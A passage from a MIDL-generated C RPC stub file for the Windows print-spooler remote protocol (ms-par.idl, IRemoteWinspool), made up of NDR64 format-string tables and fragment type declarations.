FC_ULONG */\n/* 14 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 16 */\t0x4,\t\t/* FC_EXPR_OPER */\n\t\t\t0x1b,\t\t/* OP_AND */\n/* 18 */\t0x0,\t\t/*  */\n\t\t\t0x0,\t\t/* 0 */\n/* 20 */\t0x3,\t\t/* FC_EXPR_VAR */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 22 */\tNdrFcShort( 0xfff4 ),\t/* -12 */\n/* 24 */\t0x1,\t\t/* FC_EXPR_CONST32 */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 26 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 28 */\tNdrFcLong( 0xffff ),\t/* 65535 */\n\n\t\t\t0x0\n        }\n    };\n\nstatic const unsigned short ms2Dpar__MIDL_ExprFormatStringOffsetTable[] =\n{\n0,\n16,\n};\n\nstatic const NDR_EXPR_DESC  ms2Dpar_ExprDesc = \n {\nms2Dpar__MIDL_ExprFormatStringOffsetTable,\nms2Dpar__MIDL_ExprFormatString.Format\n};\n\nstatic const unsigned short IRemoteWinspool_FormatStringOffsetTable[] =\n    {\n    0,\n    72,\n    144,\n    206,\n    280,\n    366,\n    434,\n    484,\n    528,\n    596,\n    664,\n    720,\n    764,\n    826,\n    870,\n    914,\n    958,\n    1032,\n    1112,\n    1180,\n    1254,\n    1298,\n    1348,\n    1398,\n    1472,\n    1528,\n    1602,\n    1700,\n    1792,\n    1866,\n    1934,\n    1984,\n    2040,\n    2090,\n    2176,\n    2238,\n    2294,\n    2368,\n    2412,\n    2490,\n    2544,\n    2622,\n    2694,\n    2748,\n    2814,\n    2874,\n    2952,\n    3024,\n    3096,\n    3168,\n    3228,\n    3282,\n    3330,\n    3384,\n    3438,\n    3516,\n    3576,\n    3624,\n    3690,\n    3746,\n    3790,\n    3846,\n    3896,\n    3962,\n    4034,\n    4106,\n    4178,\n    4256,\n    4310,\n    4372,\n    4428,\n    4490,\n    4546,\n    4602,\n    4664\n    };\n\n\n\n#endif /* defined(_M_AMD64)*/\n\n\n\n/* this ALWAYS GENERATED file contains the RPC client stubs */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for ms-par.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#if defined(_M_AMD64)\n\n\n\n\n#if !defined(__RPC_WIN64__)\n#error  Invalid build platform for this stub.\n#endif\n\n\n#include \"ndr64types.h\"\n#include \"pshpack8.h\"\n#ifdef __cplusplus\nnamespace {\n#endif\n\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1103_t;\nextern const __midl_frag1103_t __midl_frag1103;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag1102_t;\nextern const __midl_frag1102_t __midl_frag1102;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag1101_t;\nextern const __midl_frag1101_t __midl_frag1101;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        NDR64_FORMAT_CHAR frag10;\n    } frag2;\n}\n__midl_frag1097_t;\nextern const __midl_frag1097_t __midl_frag1097;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n}\n__midl_frag1096_t;\nextern const __midl_frag1096_t __midl_frag1096;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n    } frag2;\n}\n__midl_frag1088_t;\nextern const __midl_frag1088_t __midl_frag1088;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag1087_t;\nextern const __midl_frag1087_t __midl_frag1087;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n}\n__midl_frag1086_t;\nextern const __midl_frag1086_t __midl_frag1086;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_MEMPAD_FORMAT frag10;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n    } frag2;\n}\n__midl_frag1080_t;\nextern const __midl_frag1080_t __midl_frag1080;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag1079_t;\nextern const __midl_frag1079_t __midl_frag1079;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    NDR64_UINT32 frag8;\n}\n__midl_frag1078_t;\nextern const __midl_frag1078_t __midl_frag1078;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag1077_t;\nextern const __midl_frag1077_t __midl_frag1077;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag1076_t;\nextern const __midl_frag1076_t __midl_frag1076;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag1075_t;\nextern const __midl_frag1075_t __midl_frag1075;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n    } frag2;\n}\n__midl_frag1074_t;\nextern const __midl_frag1074_t __midl_frag1074;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1073_t;\nextern const __midl_frag1073_t __midl_frag1073;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag1072_t;\nextern const __midl_frag1072_t __midl_frag1072;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag1071_t;\nextern const __midl_frag1071_t __midl_frag1071;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag1069_t;\nextern const __midl_frag1069_t __midl_frag1069;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag1068_t;\nextern const __midl_frag1068_t __midl_frag1068;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1067_t;\nextern const __midl_frag1067_t __midl_frag1067;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1066_t;\nextern const __midl_frag1066_t __midl_frag1066;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1065_t;\nextern const __midl_frag1065_t __midl_frag1065;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1064_t;\nextern const __midl_frag1064_t __midl_frag1064;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag1061_t;\nextern const __midl_frag1061_t __midl_frag1061;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1058_t;\nextern const __midl_frag1058_t __midl_frag1058;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag1055_t;\nextern const __midl_frag1055_t __midl_frag1055;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag1053_t;\nextern const __midl_frag1053_t __midl_frag1053;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    NDR64_UINT32 frag8;\n}\n__midl_frag1052_t;\nextern const __midl_frag1052_t __midl_frag1052;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag1050_t;\nextern const __midl_frag1050_t __midl_frag1050;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag1049_t;\nextern const __midl_frag1049_t __midl_frag1049;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1048_t;\nextern const __midl_frag1048_t __midl_frag1048;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag1045_t;\nextern const __midl_frag1045_t __midl_frag1045;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag1043_t;\nextern const __midl_frag1043_t __midl_frag1043;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1042_t;\nextern const __midl_frag1042_t __midl_frag1042;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag1040_t;\nextern const __midl_frag1040_t __midl_frag1040;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag1039_t;\nextern const __midl_frag1039_t __midl_frag1039;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1037_t;\nextern const __midl_frag1037_t __midl_frag1037;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1034_t;\nextern const __midl_frag1034_t __midl_frag1034;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    NDR64_UINT32 frag8;\n}\n__midl_frag1032_t;\nextern const __midl_frag1032_t __midl_frag1032;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag1031_t;\nextern const __midl_frag1031_t __midl_frag1031;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1030_t;\nextern const __midl_frag1030_t __midl_frag1030;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag1025_t;\nextern const __midl_frag1025_t __midl_frag1025;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1023_t;\nextern const __midl_frag1023_t __midl_frag1023;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag1022_t;\nextern const __midl_frag1022_t __midl_frag1022;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1021_t;\nextern const __midl_frag1021_t __midl_frag1021;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag1020_t;\nextern const __midl_frag1020_t __midl_frag1020;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag1019_t;\nextern const __midl_frag1019_t __midl_frag1019;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1018_t;\nextern const __midl_frag1018_t __midl_frag1018;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1016_t;\nextern const __midl_frag1016_t __midl_frag1016;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1014_t;\nextern const __midl_frag1014_t __midl_frag1014;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag1013_t;\nextern const __midl_frag1013_t __midl_frag1013;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag1012_t;\nextern const __midl_frag1012_t __midl_frag1012;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1011_t;\nextern const __midl_frag1011_t __midl_frag1011;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag1009_t;\nextern const __midl_frag1009_t __midl_frag1009;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1006_t;\nextern const __midl_frag1006_t __midl_frag1006;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag1001_t;\nextern const __midl_frag1001_t __midl_frag1001;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag996_t;\nextern const __midl_frag996_t __midl_frag996;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag995_t;\nextern const __midl_frag995_t __midl_frag995;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag994_t;\nextern const __midl_frag994_t __midl_frag994;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag993_t;\nextern const __midl_frag993_t __midl_frag993;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag984_t;\nextern const __midl_frag984_t __midl_frag984;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag980_t;\nextern const __midl_frag980_t __midl_frag980;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag979_t;\nextern const __midl_frag979_t __midl_frag979;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag978_t;\nextern const __midl_frag978_t __midl_frag978;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag977_t;\nextern const __midl_frag977_t __midl_frag977;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag972_t;\nextern const __midl_frag972_t __midl_frag972;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag970_t;\nextern const __midl_frag970_t __midl_frag970;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag969_t;\nextern const __midl_frag969_t __midl_frag969;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag968_t;\nextern const __midl_frag968_t __midl_frag968;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag967_t;\nextern const __midl_frag967_t __midl_frag967;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag965_t;\nextern const __midl_frag965_t __midl_frag965;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag964_t;\nextern const __midl_frag964_t __midl_frag964;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag963_t;\nextern const __midl_frag963_t __midl_frag963;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag962_t;\nextern const __midl_frag962_t __midl_frag962;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag957_t;\nextern const __midl_frag957_t __midl_frag957;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag956_t;\nextern const __midl_frag956_t __midl_frag956;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag953_t;\nextern const __midl_frag953_t __midl_frag953;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag952_t;\nextern const __midl_frag952_t __midl_frag952;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag951_t;\nextern const __midl_frag951_t __midl_frag951;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag950_t;\nextern const __midl_frag950_t __midl_frag950;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag949_t;\nextern const __midl_frag949_t __midl_frag949;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag948_t;\nextern const __midl_frag948_t __midl_frag948;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag947_t;\nextern const __midl_frag947_t __midl_frag947;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag946_t;\nextern const __midl_frag946_t __midl_frag946;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag942_t;\nextern const __midl_frag942_t __midl_frag942;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag941_t;\nextern const __midl_frag941_t __midl_frag941;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag930_t;\nextern const __midl_frag930_t __midl_frag930;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag928_t;\nextern const __midl_frag928_t __midl_frag928;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag927_t;\nextern const __midl_frag927_t __midl_frag927;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag926_t;\nextern const __midl_frag926_t __midl_frag926;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag925_t;\nextern const __midl_frag925_t __midl_frag925;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag921_t;\nextern const __midl_frag921_t __midl_frag921;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag919_t;\nextern const __midl_frag919_t __midl_frag919;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag917_t;\nextern const __midl_frag917_t __midl_frag917;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag916_t;\nextern const __midl_frag916_t __midl_frag916;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag915_t;\nextern const __midl_frag915_t __midl_frag915;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag913_t;\nextern const __midl_frag913_t __midl_frag913;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag912_t;\nextern const __midl_frag912_t __midl_frag912;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag911_t;\nextern const __midl_frag911_t __midl_frag911;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag910_t;\nextern const __midl_frag910_t __midl_frag910;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 